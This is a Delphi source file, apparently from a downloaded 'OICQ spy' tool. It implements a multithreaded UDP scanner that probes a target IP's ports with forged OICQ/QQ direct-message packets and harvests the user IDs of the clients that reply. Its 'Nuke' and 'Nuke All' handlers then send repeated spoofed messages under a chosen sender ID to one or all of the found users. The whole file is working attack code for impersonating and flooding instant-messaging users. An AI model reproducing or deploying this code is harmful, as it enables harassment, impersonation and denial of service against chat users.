www.pudn.com > oicqspysrc.zip > CloneScan.pas

unit CloneScan; 
{$define DEBUGVERSION} 
//{$define REDUCE_VERSION} 
interface 
 
uses 
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, 
  StdCtrls, Spin, NMUDP, ExtCtrls, Menus,WinSock, ScktComp, ComCtrls; 
 
type 
  TPortScanParam=record 
    dwID,sinAddr:DWORD; 
    nStartPort,nStopPort,nStepPort:DWORD; 
    nLoopCnt,nTimeOut:Integer; 
    end; 
  PPortScanParam=^TPortScanParam; 
  TPortInfo=record 
    nIndex:Integer; 
    nPort:WORD; 
    strUID:string; 
    end; 
  TCloneScanDlg = class(TForm) 
    Label1: TLabel; 
    edIPAddr: TEdit; 
    Label2: TLabel; 
    PortList: TListBox; 
    btnStart: TButton; 
    Label3: TLabel; 
    Label4: TLabel; 
    edStartPort: TSpinEdit; 
    edStopPort: TSpinEdit; 
    edTimes: TSpinEdit; 
    edTimeOut: TSpinEdit; 
    Label5: TLabel; 
    Label6: TLabel; 
    btnClose: TButton; 
    PortUDP: TNMUDP; 
    OutTimer: TTimer; 
    Label7: TLabel; 
    edSrcId: TEdit; 
    btnNuke: TButton; 
    btnNukeAll: TButton; 
    ScanMenu: TPopupMenu; 
    mClear: TMenuItem; 
    mSave: TMenuItem; 
    SaveDlg: TSaveDialog; 
    Label8: TLabel; 
    edThreadNum: TSpinEdit; 
    btnPause: TButton; 
    Label9: TLabel; 
    lbTargetNumber: TLabel; 
    ProgBar: TProgressBar; 
    procedure PortUDPDataReceived(Sender: TComponent; NumberBytes: Integer; 
      FromIP: String; Port: Integer); 
    procedure OutTimerTimer(Sender: TObject); 
    procedure FormCreate(Sender: TObject); 
    procedure btnNukeClick(Sender: TObject); 
    procedure btnNukeAllClick(Sender: TObject); 
    procedure mClearClick(Sender: TObject); 
    procedure mSaveClick(Sender: TObject); 
    procedure FormDestroy(Sender: TObject); 
    procedure btnCloseClick(Sender: TObject); 
    procedure PortListKeyDown(Sender: TObject; var Key: Word; 
      Shift: TShiftState); 
    procedure btnStartClick(Sender: TObject); 
    procedure btnPauseClick(Sender: TObject); 
  private 
    { Private declarations } 
    info:array of TPortInfo; 
    nInfoCnt:Integer; 
//    nThreadId:LongWord; 
    nScanCnt:Integer; 
    nRunFlag:Integer; 
 
    ListLock:TMultiReadExclusiveWriteSynchronizer; 
    StatusLock:TMultiReadExclusiveWriteSynchronizer; 
     
    function CheckInput:Boolean; 
    function FindPortInfo(nPort:WORD):integer; 
 
{$ifndef REDUCE_VERSION} 
    function GetIdByIndex(index:Integer):string; 
    function GetIpByIndex(index:Integer):string; 
    function GetPortByIndex(Index:Integer):WORD; 
{$endif} 
    procedure DeletePortByIndex(Index:Integer); 
 
    procedure ProcessReponse(buf:array of char;buflen:Integer;fromIp:string;fromPort:WORD); 
//    procedure SendPackage; 
 
    procedure ShutdownThread; 
 
    procedure DoPortScan(sinAddr:DWORD;StartPort,EndPort:WORD;LoopCnt,TimeOut:DWORD); 
 
//    function GetTimeOutOfPeer(ip:String):Integer; 
    procedure ThreadPortScan; 
  public 
    { Public declarations } 
    FSocket:TSocket; 
    class procedure Execute(ip:string); 
  end; 
var 
    CloneScanDlg:TCloneScanDlg; 
 
implementation 
 
{$R *.DFM} 
uses data,info,NukeInfo, Main; 
var 
StopFlag:Boolean; 
function ThreadScanFunc(p:Pointer):Integer; 
var 
param:PPortScanParam; 
begin 
param:=p;   
CloneScanDlg.DoPortScan(param^.sinAddr,param^.nStartPort,Param^.nStopPort,param^.nLoopCnt,param^.nTimeOut); 
Dec(CloneScanDlg.nRunFlag); 
if(CloneScanDlg.nRunFlag=0)then 
    begin 
    CloneScanDlg.btnStart.Enabled:=True; 
    CloneScanDlg.btnPause.Enabled:=False; 
    end; 
FreeMem(p); 
Result:=0; 
end; 
function  ScanFunc(p:Pointer):Integer; 
var 
buf:array [0..2048] of char; 
fromaddr:TSockAddr; 
fromlen:Integer; 
buflen:Integer; 
//RetCode:DWORD; 
begin 
while(not StopFlag)do 
    begin 
    ZeroMemory(@fromaddr,sizeof(fromaddr)); 
    fromlen:=SizeOf(fromaddr); 
    buflen:=recvfrom(CloneScanDlg.FSocket,buf,2048,0,fromaddr,fromlen); 
    if(buflen<>SOCKET_ERROR)then 
        CloneScanDlg.ProcessReponse(buf,buflen,inet_ntoa(fromaddr.sin_addr),ntohs(fromaddr.sin_port)); 
{    else 
        begin 
        //if retcode=10054 remote host close connection 
        //mean that ICMP DESTAINATION UNREACHEABLE 
        RetCode:=GetLastError; 
        end;} 
    end; 
Result:=0; 
end; 
 
 
function TCloneScanDlg.CheckInput: Boolean; 
begin 
result:=true; 
end; 
 
class procedure TCloneScanDlg.Execute(ip: string); 
begin 
if(CloneScanDlg<>nil)then 
    begin 
    CloneScanDlg.edIPAddr.Text:=ip; 
    CloneScanDlg.Show 
    end 
else 
    begin 
    CloneScanDlg:=TCloneScanDlg.Create(Application); 
    CloneScanDlg.edIPAddr.Text:=ip; 
    CloneScanDlg.Show; 
    end; 
end; 
 
procedure TCloneScanDlg.PortUDPDataReceived(Sender: TComponent; 
  NumberBytes: Integer; FromIP: String; Port: Integer); 
var 
buf:array [0..2048] of char; 
len:Integer; 
begin 
PortUDP.ReadBuffer(buf,len); 
if(len>10)then 
    begin 
    ProcessReponse(buf,len,FromIp,Port); 
    end; 
end; 
 
procedure TCloneScanDlg.OutTimerTimer(Sender: TObject); 
begin 
{OutTimer.Enabled:=False; 
ShutdownThread; 
closesocket(FSocket); 
btnStart.Enabled:=True; 
lbStatus.caption:='扫描结果如下';} 
end; 
 
procedure TCloneScanDlg.FormCreate(Sender: TObject); 
begin 
nInfoCnt:=0; 
ListLock:=TMultiReadExclusiveWriteSynchronizer.Create; 
StatusLock:=TMultiReadExclusiveWriteSynchronizer.Create; 
end; 
 
function TCloneScanDlg.FindPortInfo(nPort: WORD): integer; 
var 
i:Integer; 
begin 
Result:=-1; 
for i:=0 to nInfoCnt-1 do 
    begin 
    if(info[i].nPort=nPort)then 
        begin 
        Result:=i; 
        break; 
        end; 
    end; 
end; 
 
procedure TCloneScanDlg.btnNukeClick(Sender: TObject); 
{$ifndef REDUCE_VERSION} 
var 
SrcId,msg:String; 
i,FaceNo,cnt:DWORD; 
{$endif} 
begin 
{$ifndef REDUCE_VERSION} 
if(PortList.Items.Count>0)then 
    begin 
    if(TNukeInfoDlg.Execute(SrcId,FaceNo,cnt,msg))then 
        begin 
        for i:=0 to cnt do 
            begin 
            SendFakeMsg(SrcId,IntToStr(FaceNo),GetIdByIndex(PortList.ItemIndex), 
                GetIPByIndex(PortList.ItemIndex),GetPortByIndex(PortList.ItemIndex),msg,Date,Time); 
            end; 
        end; 
    end 
else 
    begin 
    ShowMessage('没有攻击对象！'); 
    end; 
{$else} 
ShowMessage('对不起！简版没有此功能'); 
{$endif} 
end; 
 
{$ifndef REDUCE_VERSION} 
function TCloneScanDlg.GetIdByIndex(index: Integer): string; 
var 
i:Integer; 
begin 
for i:=0 to nInfoCnt-1 do 
    begin 
    if(info[i].nIndex=index)then 
        begin 
        Result:=info[i].strUID; 
        Break; 
        end; 
    end; 
end; 
 
function TCloneScanDlg.GetIpByIndex(index: Integer): string; 
begin 
Result:=edIPAddr.Text; 
end; 
 
function TCloneScanDlg.GetPortByIndex(Index: Integer): WORD; 
var 
i:Integer; 
begin 
Result:=4000; 
for i:=0 to nInfoCnt-1 do 
    begin 
    if(info[i].nIndex=index)then 
        begin 
        Result:=info[i].nPort; 
        Break; 
        end; 
    end; 
end; 
{$endif} 
procedure TCloneScanDlg.btnNukeAllClick(Sender: TObject); 
{$ifndef REDUCE_VERSION} 
var 
SrcId,msg:String; 
i,j,FaceNo,cnt:DWORD; 
{$endif} 
begin 
{$ifndef REDUCE_VERSION} 
if(TNukeInfoDlg.Execute(SrcId,FaceNo,cnt,msg))then 
    begin 
    for i:=0 to nInfoCnt-1 do 
        begin 
        for j:=0 to cnt do 
            begin 
            SendFakeMsg(SrcId,IntToStr(FaceNo),info[i].strUID, 
                edIPAddr.Text,info[i].nPort,msg,Date,Time); 
            end; 
        end; 
    end; 
{$else} 
ShowMessage('对不起！简版没有此功能.'); 
{$endif} 
end; 
 
procedure TCloneScanDlg.mClearClick(Sender: TObject); 
begin 
PortList.Clear; 
SetLength(info,0); 
nInfoCnt:=0; 
lbTargetNumber.Caption:='0'; 
end; 
 
procedure TCloneScanDlg.mSaveClick(Sender: TObject); 
begin 
if(SaveDlg.Execute)then 
    begin 
    if(Sender is TMenuItem)then 
        ( 
            ( 
                (Sender as TMenuItem).GetParentMenu as TPopupMenu 
            ).PopupComponent as TListBox 
        ).Items.SaveToFile(SaveDlg.FileName); 
    end; 
end; 
 
procedure TCloneScanDlg.FormDestroy(Sender: TObject); 
begin 
CloneScanDlg:=nil; 
end; 
 
procedure TCloneScanDlg.btnCloseClick(Sender: TObject); 
begin 
Close; 
end; 
 
procedure TCloneScanDlg.PortListKeyDown(Sender: TObject; var Key: Word; 
  Shift: TShiftState); 
var 
index:Integer; 
begin 
if(Key=VK_DELETE)then 
    begin 
    index:=PortList.ItemIndex; 
    DeletePortByIndex(index); 
    PortList.Items.Delete(PortList.ItemIndex); 
    PortList.ItemIndex:=index; 
    end; 
end; 
 
procedure TCloneScanDlg.ProcessReponse(buf: array of char; 
  buflen: Integer;fromIp:string;fromPort:WORD); 
var 
uid:string; 
i:Integer; 
begin 
uid:=''; 
if(buf[4]=chr($79))then//Direct msg Reponse 
    begin 
    for i:=7 to buflen -2 do 
        begin 
        uid:=uid+buf[i]; 
        end; 
    if(FindPortInfo(fromPort)<0)then 
        begin 
        Inc(nInfoCnt); 
        SetLength(info,nInfoCnt); 
        info[nInfoCnt-1].nPort:=fromPort; 
        info[nInfoCnt-1].strUID:=uid; 
        ListLock.BeginWrite; 
        info[nInfoCnt-1].nIndex:=PortList.Items.Add('Port:'+IntToStr(fromPort)+'  ID:'+uid); 
        lbTargetNumber.Caption:=IntToStr(nInfoCnt); 
        ListLock.EndWrite; 
        end; 
    end; 
end; 
 
{procedure TCloneScanDlg.btnStartClick(Sender: TObject); 
var 
addr:TSockAddr; 
begin 
if(not CheckInput)then Exit; 
btnStart.Enabled:=False; 
OutTimer.Enabled:=False; 
OutTimer.Interval:=edTimeOut.Value; 
FSocket:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); 
if(FSocket<>INVALID_SOCKET)then 
    begin 
    Addr.sin_family := AF_INET; 
    Addr.sin_addr.s_addr := INADDR_ANY; 
    Addr.sin_port := 0; 
    if(bind(FSocket,addr,sizeof(addr))<>SOCKET_ERROR)then 
        begin 
        StopFlag:=False; 
        if(BeginThread(nil,4096,ScanFunc,Pointer(FSocket),0,nThreadId)=NULL)then 
            begin 
            ShowMessage('Thread error'+IntToStr(GetLastError)); 
            end; 
        try 
            SendPackage; 
            lbStatus.Caption:='等待回答...'; 
            OutTimer.Enabled:=True; 
        except 
            ShutDownThread; 
            closesocket(FSocket); 
            btnStart.Enabled:=False; 
            end; 
        end; 
 
    end; 
end;} 
 
{procedure TCloneScanDlg.SendPackage; 
var 
addr:TSockAddr; 
port:WORD; 
ip:string; 
buflen,i:Integer; 
buf:array [0..2048] of char; 
begin 
ZeroMemory(@addr,sizeof(addr)); 
if(CheckInput)then 
    begin 
    lbStatus.Caption:='正在发送...'; 
    Refresh; 
    ip:=edIPAddr.Text; 
    for port:=edStartPort.Value to edStopPort.Value do 
        begin 
        Inc(nFakeCnt); 
        for i:=0 to edTimes.Value-1 do 
            begin 
            buflen:=MakeDirectMsgBuf(buf,nFakeCnt,edSrcId.text,0,Date,Time,''); 
            addr.sin_family:=AF_INET; 
            addr.sin_addr.S_addr:=inet_addr(PChar(ip)); 
            addr.sin_port:=htons(port); 
            if(sendto(FSocket,buf,buflen,0,addr,sizeof(addr))=SOCKET_ERROR)then 
                begin 
                ShowMessage('Send error'+IntToStr(GetLastError)); 
                break; 
                end; 
            end; 
        end; 
    end; 
end;} 
 
procedure TCloneScanDlg.ShutdownThread; 
begin 
StopFlag:=TRUE; 
end; 
 
procedure TCloneScanDlg.DeletePortByIndex(Index: Integer); 
var 
i:Integer; 
begin 
for i:=0 to nInfoCnt do 
    begin 
    if(info[i].nIndex=index)then 
        begin 
        info[i].nPort:=0; 
        Break; 
        end; 
    end; 
end; 
 
procedure TCloneScanDlg.DoPortScan(sinAddr:DWORD;StartPort,EndPort:WORD;LoopCnt,TimeOut:DWORD); 
var 
addr:TSockAddr; 
s:TSocket; 
RecvTimeOut,i:Integer; 
buf:array [0..2048] of char; 
fromaddr:TSockAddr; 
fromlen:Integer; 
buflen:Integer; 
ErrCode:Integer; 
port:WORD; 
begin 
if(not CheckInput)then Exit; 
s:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); 
RecvTimeOut:=TimeOut; 
if(s<>INVALID_SOCKET)then 
    begin 
    Addr.sin_family := AF_INET; 
    Addr.sin_addr.s_addr := INADDR_ANY; 
    Addr.sin_port := 0; 
    if(bind(s,addr,sizeof(addr))<>SOCKET_ERROR)then 
        begin 
        if(SOCKET_ERROR=setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,@RecvTimeOut,sizeof(RecvTimeOut)))then 
            begin 
            ShowMessage('setsockopt error:'+IntToStr(GetLastError)); 
            end 
        else 
            begin 
//            lbStatus.Caption:='正在扫描...'; 
             
            for port:=StartPort to EndPort do 
                begin 
                Inc(nFakeCnt); 
                StatusLock.BeginWrite; 
                Inc(nScanCnt); 
//                lbStatus.Caption:='已扫描端口个数:'+IntToStr(nScanCnt); 
//                lbStatus.Repaint; 
                if((nScanCnt mod 10)=9)then 
                    begin 
                    ProgBar.StepIt; 
                    end; 
                if(nScanCnt=(edStopPort.Value-edStartPort.Value))then 
                    begin 
                    ProgBar.Position:=ProgBar.Max; 
                    end; 
                StatusLock.EndWrite; 
                for i:=0 to LoopCnt-1 do 
                    begin 
                    //sending ..... 
                    buflen:=MakeDirectMsgBuf(buf,nFakeCnt,edSrcId.text,0,Date,Time,''); 
                    addr.sin_family:=AF_INET; 
                    addr.sin_addr.S_addr:=sinAddr; 
                    addr.sin_port:=htons(port); 
                    if(sendto(s,buf,buflen,0,addr,sizeof(addr))=SOCKET_ERROR)then 
                        begin 
                        ShowMessage('Send error'+IntToStr(GetLastError)); 
                        break; 
                        end; 
                    //recv... 
                    ZeroMemory(@fromaddr,sizeof(fromaddr)); 
                    fromlen:=SizeOf(fromaddr); 
                    buflen:=recvfrom(s,buf,2048,0,fromaddr,fromlen); 
                    if(buflen<>SOCKET_ERROR)then 
                        begin//Get it! 
                        CloneScanDlg.ProcessReponse(buf,buflen,inet_ntoa(fromaddr.sin_addr),ntohs(fromaddr.sin_port)); 
                        Break;//Let 's scan next port 
                        end 
                    else 
                        begin 
                        ErrCode:=GetLastError; 
                        if(ErrCode=10054)then 
                            begin 
                            //ICMP report destination unrecheable,let's scan next port 
                            Break; 
                            end; 
                        end; 
                    end;//end for LoopCnt 
                Application.ProcessMessages; 
                if(StopFlag)then Break; 
                end;//End for port 
            end; 
        end 
    else//bind error 
        begin 
        ErrCode:=GetLastError; 
        ShowMessage('Bind error'+IntToStr(ErrCOde)); 
        end; 
    closesocket(s); 
    end; 
end; 
 
procedure TCloneScanDlg.btnStartClick(Sender: TObject); 
begin 
if(not CheckInput)then Exit; 
nRunFlag:=edThreadNum.Value; 
nScanCnt:=0; 
StopFlag:=False; 
if(edStopPort.Value<=ProgBar.Min)then 
    begin 
    ProgBar.Min:=edStartPort.Value; 
    ProgBar.Max:=edStopPort.Value; 
    end 
else 
    begin 
    ProgBar.Max:=edStopPort.Value; 
    ProgBar.Min:=edStartPort.Value; 
    end; 
if((edStopPort.Value-edStartport.Value)<50)then 
    ProgBar.Step:=1 
else ProgBar.Step:=10; 
 
btnStart.Enabled:=False; 
btnPause.Enabled:=True; 
ThreadPortScan; 
Application.ProcessMessages; 
end; 
 
procedure TCloneScanDlg.btnPauseClick(Sender: TObject); 
begin 
ShutDownThread; 
end; 
 
{function TCloneScanDlg.GetTimeOutOfPeer(ip: String): Integer; 
begin 
Result:=500; 
end;}  
 
procedure TCloneScanDlg.ThreadPortScan; 
var 
i:DWORD; 
//hThreads:array of LongWord; 
nThreadId:LongWord; 
param:PPortScanParam; 
step:DWORD; 
LastPort:WORD; 
begin 
//SetLength(hThreads,edThreadNum.Value); 
step:=(edStopPort.Value-edStartPort.Value) div edThreadNum.Value; 
LastPort:=edStartPort.Value; 
 
for i:=0 to edThreadNum.Value-2 do 
    begin 
    param:=AllocMem(SizeOf(TPortScanParam)); 
    param.sinAddr:=inet_addr(PChar(edIPAddr.Text)); 
    param.dwID:=StrToIntDef(edSrcId.Text,0); 
    param.nLoopCnt:=edTimes.Value; 
    param.nTimeOut:=edTimeOut.Value; 
    param.nStartPort:=DWORD(edStartPort.Value)+i*step; 
    param.nStopPort:=param.nStartPort+step-1; 
    param.nStepPort:=step; 
    LastPort:=param.nStopPort+1; 
    if(BeginThread(nil,4096,ThreadScanFunc,param,0,nThreadId)=NULL)then 
        begin 
        ShowMessage('Begin Thread error'+IntToStr(GetLastError)); 
        Break; 
        end; 
    end; 
param:=AllocMem(SizeOf(TPortScanParam)); 
param.sinAddr:=inet_addr(PChar(edIPAddr.Text)); 
param.dwID:=StrToIntDef(edSrcId.Text,0); 
param.nLoopCnt:=edTimes.Value; 
param.nTimeOut:=edTimeOut.Value; 
param.nStartPort:=LastPort; 
param.nStopPort:=edStopPort.Value; 
param.nStepPort:=step; 
BeginThread(nil,4096,ThreadScanFunc,param,0,nThreadId); 
end; 
 
end.